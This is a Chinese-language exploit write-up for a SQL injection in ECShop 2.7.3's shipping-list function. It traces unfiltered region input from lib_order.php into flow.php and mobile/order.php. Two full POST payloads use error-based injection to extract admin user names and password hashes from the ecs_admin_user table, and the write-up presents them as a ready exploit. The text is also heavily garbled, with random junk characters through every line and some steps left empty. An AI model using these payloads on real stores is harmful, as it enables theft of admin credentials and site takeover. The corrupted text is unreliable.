! [* B5 w1 C. ~( X+ L 漏洞关键文件:% b# w: K# a1 |
5 o/ m b, v# K; N! C
/includes/lib_order.php( ^- F' Z/ M8 V$ |
1 b/ Z' H1 {4 _( y8 {( T% u; G
关键函数:5 C# W& V2 n4 ?# @* j! ]# h- L# x
6 v9 w4 s/ P1 D1 \/ D; ~
7 \- ?7 _& e! f. |/ Q4 B. l 8 z# N+ y Q. B7 {) n+ a3 v01 function available_shipping_list($region_id_list) 8 V k b. d5 R& e% i1 U! V
: S) M+ p s, [1 [+ J; w9 m* g v
02 { 7 |( Y$ @* `3 ?3 k$ D1 k5 [+ o
( ^5 d: h; Z8 P0 O! l, U03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 0 V# g$ f- O( h. J4 { C& C ! g! q6 `2 v* g* u1 o04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 0 D e' W6 h, ~$ Y
& e3 y0 x4 P! ~05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . / ], v3 W* e2 r& |, ?+ j" o' e* m
; ]6 \5 q9 G5 p
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . * n3 R6 G D9 J % N5 B& a3 T2 Y. ?/ y6 n* U07 $GLOBALS['ecs']->table('area_region') . ' AS r '. $ `2 q# S! L& ]9 K+ l. e. A; K9 I
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 2 e. g3 w& H+ [1 [7 W% C
@$ }4 o6 B! Z _1 k09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " m( C# {% @/ I
5 M/ d# b5 q$ f
10 7 U; j& r* Q) `2 U3 P
9 |: Z2 P" d' V11 return $GLOBALS['db']->getAll($sql); / Q) h7 o4 e6 B, z( B- O+ m, E! W# p9 C5 A
12 } - h s5 m/ g2 }$ K9 l5 V
" Q* P w. N" P5 N$ G
显然对传入的参数没有任何过滤就带入了查询语句。 ; L) U) ?( u: i$ g, [ : z7 B" C* |' H) o& i- X
下面我们追踪这个函数在flow.php中:; H- K& h) P2 D% E' P+ X
第531行: 6 E6 T% v2 R3 V$ M# x6 y8 z$ q; N
2 O7 X) X4 e7 Z9 z6 T! x. `+ D( Z
1 $shipping_list = available_shipping_list($region); 2 m5 h, H+ N: u4 I5 F+ j; Y : K8 w1 a! B$ _# B, R : U5 U& d- U: V' X! c1 W9 M# Z
3 {2 l8 }# M$ q5 K ' L* P& G/ c- o$ J5 p
- t7 N5 ^! _# x7 a+ V8 H7 s
再对传入变量进行追踪: : k" J1 B/ q! W * b8 L9 Q5 j. k第530行: 2 j3 N+ _1 Z! X6 E3 w. j( v
- L2 Z9 X) F7 Y, {' L# L% e注入测试: 3 c! ?& s0 c% N$ }, [ - t2 |# X+ d) r6 Q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)$ V Q6 ~ R* v) Z# f
! ~3 ?. L3 u3 B" G) X- o
测试程序:ECShop_V2.7.3_UTF8_release11060 K# K* F7 y2 V0 b% c/ o
9 z `# ?; V7 W- d( g* s d* F( T
3 Q3 t8 x5 L* f! g w4 D
" d/ [! r- n k; @1.首先需要点击一个商品加入购物车 % l9 k0 j: n" `7 ]7 O 9 L2 ?- t! [$ b# L" I, P2.注册一个会员帐号5 V' A3 X: g4 O5 e- \# z
$ Q" @$ S" g5 o' q) F3.post提交数据& ?/ s- v% U* o
- }7 Y+ ^% I3 ~# E0 e- ] , ~+ s7 r& J, \" o& ~9 r, R6 H5 E- N
1 http://127.0.0.1/ecshop/flow.php 9 A9 b+ ~& M& d& X* c% m
9 {) n k/ s1 S8 P, O! R* Q* P
2 4 o8 ]6 R; ~% f$ Q, J7 F( u9 l" J5 y" n3 T7 Q- x; [7 j! Q
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= . x6 K) @. i* d& R- Q! {
举一反三,我们根据这个漏洞我们可以继续深入挖掘:# \1 H; a' Z# i: t1 h5 d8 s( I
, h6 a# C0 l, D. E2 p$ G3 e W6 v8 Y我们搜寻关键函数function available_shipping_list()3 C5 ?( @" N0 A+ {5 {
) E. O+ t0 Z! Z) H1 V8 X
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同7 k6 X+ m: F1 L# I3 t
" N" y9 S/ D, Z! ~% m7 A' W利用exp: / k, C4 f) ^; Z3 `5 O& [( n$ s9 q1 N/ F" }5 h$ ^1 T
1.点击一个商品,点击购买商标1 @& P' Q s+ K7 r1 _% ?
# ^: ~2 |- g$ m C- @. s6 V
2.登录会员帐号' n$ h. g ^( D4 m0 M8 L
5 z0 I @7 q* t/ F; }3.post提交: % N1 K( v4 O8 t+ p' g4 ~0 T d% h5 d9 y. C' j& d: o% Lhttp://127.0.0.1/ecshop/mobile/order.php" l+ p4 L5 Q2 \
/ q0 Q; u7 y, E: D0 O
& F$ u. V, G0 m; t4 \: R3 d S7 y3 B+ r5 x X# K
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=$ E3 ^, G) x) h
1 q/ g2 r6 M* |( n/ d